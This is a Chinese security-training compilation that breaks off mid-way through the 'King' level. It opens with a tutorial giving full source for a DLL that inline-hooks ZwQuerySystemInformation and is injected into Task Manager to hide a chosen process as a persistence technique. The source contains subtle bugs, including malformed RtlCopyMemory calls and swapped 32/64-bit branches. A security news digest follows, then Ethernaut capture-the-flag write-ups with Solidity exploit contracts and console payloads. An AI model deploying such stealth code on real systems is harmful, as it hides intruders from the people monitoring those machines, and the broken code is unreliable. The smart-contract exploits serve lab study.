巧用进程隐藏进行权限维持
基础知识
进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015092816503700001
我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示
那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。
那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏
实现过程
那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行
简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。
在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。
CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。
假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。
那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。
我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。
硬编码
何为硬编码?
这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。
硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了
这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp
这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节
在32位的情况下,修改5个字节
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
计算偏移地址,计算公式为新地址 - 旧地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
64位的情况下同理,只是修改字节为12个字节
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
然后修改权限为可读可写可执行权限,否则会报错0xC0000005
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬编码,再还原属性
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下
void UnHookAPI()
{
//获取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}
// 修改为可读可写可执行权限
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32位下还原5字节,64位下还原12字节
#ifdef _WIN64
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
// 还原权限
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除
那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱
UnHookAPI();
然后加载ntdll.dll
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
再获取ZwQuerySystemInformation的基址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
这里看一下ZwQuerySystemInformation这个函数结构
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
这里我们定义一个指针指向返回结果信息的缓冲区
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判断如果是我们想要隐藏进程的PID则删除进程信息
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
删除完成之后我们再还原hook
HookAPI();
我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <Winternl.h>
HMODULE g_hModule;
BYTE g_Oldwin32[5] = { 0 };
BYTE g_Oldwin64[12] = { 0 };
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
void HookAPI();
void UnHookAPI();
void HookAPI()
{
//获取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}
// 32位则修改前5字节,64位则修改前12字节
#ifdef _WIN64
// jmp New_ZwQuerySystemInformation
// E9 xx xx xx xx
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
// 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax, 0x1234567812345678
// jmp rax
// 48 b8 7856341278563412
// ff e0
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#endif
DWORD dwOldProtect = 0;
//修改为可读可写可执行权限
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
//还原权限
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
void UnHookAPI()
{
//获取ntdll.dll基址
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}
// 修改为可读可写可执行权限
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32位下还原5字节,64位下还原12字节
#ifdef _WIN64
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
// 还原权限
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
// 隐藏进程的PID
DWORD HideProcessID = 13972;
// 卸载钩子
UnHookAPI();
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
if (hDll == NULL)
{
printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());
return status;
}
else
{
printf("[*] LoadLibraryA successfully!\n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return status;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}
// 调用原函数 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 若为隐藏的进程PID则删除进程信息
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
{
if (pCur->NextEntryOffset == 0)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (pCur->NextEntryOffset == 0)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
HookAPI();
return status;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HookAPI();
g_hModule = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
UnHookAPI();
break;
}
return TRUE;
}
实现效果
这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面
我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入
再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
网络安全日报 2021年11月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国悬赏 1000 万美元追捕 DarkSide 勒索软件团伙
https://www.securityweek.com/us-gov-offering-10m-reward-data-darkside-ransomware-operators 2、思科修复了 Catalyst PON 企业交换机的关键漏洞
https://www.securityweek.com/cisco-plugs-critical-holes-catalyst-pon-enterprise-switches 3、Linux修复了内核中的高危漏洞
https://www.securityweek.com/linux-foundation-fixes-dangerous-code-execution-kernel-bug 4、Firefox 94 推出站点隔离功能
https://www.securityweek.com/mozilla-rolling-out-site-isolation-release-firefox-94 5、CISA 敦促供应商解决 BrakTooth 漏洞
https://securityaffairs.co/wordpress/124208/hacking/cisa-braktooth-advisory.html 6、Discord Nitro网络钓鱼活动针对Steam玩家
https://www.bleepingcomputer.com/news/security/beware-free-discord-nitro-phishing-targets-steam-gamers/ 7、企业CMS软件Sitecore XP中存在一个RCE漏洞
https://portswigger.net/daily-swig/rce-vulnerability-found-in-sitecore-enterprise-cms-software 8、英国工党披露遭勒索软件攻击后导致数据泄露
https://securityaffairs.co/wordpress/124162/cyber-crime/labour-party-data-breach.html 9、美国医学培训学校泄露数千名学生个人数据
https://www.zdnet.com/article/medical-school-exposes-personal-data-of-thousands-of-students 10、CERT-FR 警告 Lockean 勒索软件攻击法国公司
https://securityaffairs.co/wordpress/124171/malware/cert-fr-warns-lockean-ransomware.html
以太坊智能合约安全入门
Ethernaut记录
https://www.yijinglab.com/cour.do?w=1&c=CCIDf21b-1a56-42df-b444-57029ae03abcFallback
题目描述
Look carefully at the contract's code below.
You will beat this level if
you claim ownership of the contract
you reduce its balance to 0
Things that might help
How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
分析
题目的目标是成为这个合约的owner,并且将合约的balance清零。
在源代码中可以看到,成为合约的owner就代表着需要将合约中的owner赋值为我们的address,有三种方式:
1.调用contribute函数
2.调用receive函数
这里需要说明一下,constructor函数是合约的构造函数,是合约在初始化的时候建立的,而sender这个全局变量代表的是当前和合约交互的用户。所以说,contructor函数的sender不可能是除了创建者之外后续用户。
如要调用contribute函数,则需要向合约转账,转入的eth大于1000才可以成为onwer,而且每次只能转小于0.001eth,显然不可行。
那么如果调用receive函数,只需要转账大于0即可成为owner。那么这个receive函数怎么调用呢?
这个函数明显长得就和正常的函数不一样,没有function修饰。
这里的话首先解释一下什么是fallback
https://me.tryblockchain.org/blockchain-solidity-fallback.html也就是说,直接向合约转账,使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。或者当调用函数找不到时就会调用fallback函数。
那么这个fallback和receive又有什么关系呢?在0.6以后的版本,fallback函数的写法就不是这么写了而是:
fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}
fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,所以在它们前面加 function 这个关键字。加上 function 之后,它们就变成了一般的函数,只能按一般函数来去调用。
每个合约最多有一个不带任何参数不带 function 关键字的 fallback 和 receive 函数。
receive 函数类型必须是 payable 的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。fallback 函数类型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是 payable 的,自然也就可以接受转账了。
尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。
也就是说,只要向合约转账,就会执行receive函数。具体来说,就是调用contract.sendTransaction({value : 1})。
所以说,要成为owner要经过以下两个步骤:
1.调用contribute使contribution大于0
2.向合约转账,调用receive,成为owner。
成为owner后,还需要将合约的balance清零,这里需要调用withdraw函数,也就是执行这一句:
owner.transfer(address(this).balance);
this指针指向的是合约本身,这句话的意思就是合约向owner的地址转帐合约所有的balance。
所以,最终的payload就是:
contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()
Fallout
题目描述
Level completed!
Difficulty 2/10
Claim ownership of the contract below to complete this level.
Things that might help
Solidity Remix IDE
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
分析
提示是用ide看,问题就是他这个构造函数其实不是构造函数,Fal1out,直接调用即可。
过关后,会出现这样一段话:
That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well... Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...
This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
coin flip
题目
需要连续十次猜中硬币翻转结果,猜对了就可以过关。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
分析
可以看到,每一次猜的值都要与blockhash/factor进行一个比对。这里,blocknumber指的是当前交易的区块编号,并不是合约所处的区块编号。由于一个块内交易数量很多,所以我们就可以通过布置一个合约,使其交易行为与验证的交易打包在一个块中,这样blockhash的值就可以提前算出来,重复十次即可过关
exp:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
telephone
题目
需要成为合约的owner
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
分析
这里肯定是调用changeOwner,知识点就在于tx.origin和msg.sender之间的区别。
tx.origin (address):交易发送方(完整的调用链)
msg.sender (address):消息的发送方(当前调用)
可以认为,origin为源ip地址,sender为上一跳地址。
所以思路就是部署一个合约A,我们调用这个合约A,而这个合约A调用题目合约,即可完成利用。
Exp:
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
function hack() public{
target.changeOwner(msg.sender);
}
}
token
题目
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
分析
uint整数溢出,不会小于0。
exp:
pragma solidity ^0.6.0;
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
contract Token {
address levelInstance;
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}
delegation
题目
成为合约的owner
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
分析
有两个合约,第一个delegate里面有个pwn函数,可以直接获得owner。第二个合约delegation实例化了delegate,并且定义了fallback函数,里面通过delegeatecall调用delegate合约中的函数。
我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:1、call 的外部调用上下文是外部合约2、delegatecall 的外部调用上下是调用合约上下文
也就是说,我们在delegation里通过delegatecall调用delegate中的pwn函数,pwn函数运行的上下文其实是delegation的环境。也就是说,此时执行pwn的话,owner其实是delegation的owner而不是delegate的owner。
抽象点理解,call就是正常的call,而delegatecall可以理解为inline函数调用。
在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个字节就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
force
题目
令合约的余额大于0即可通关。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
分析
没有任何代码的合约怎么接受eth?这里的话以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。
所以思路就是搞一个合约出来,然后自毁,强制给题目合约eth。
contract Force {
address payable levelInstance;
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
function give() public payable {
selfdestruct(levelInstance);
}
}
vault
题目
使得locked == false
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
分析
主要就是猜密码,看起来密码被private保护,不能被访问到,但是其实区块链上所有东西都是透明的,只要我们知道它存储的地方,就能访问到查询到。
使用web3的storageat函数即可查询到特定位置的数据信息。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
king
题目
合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
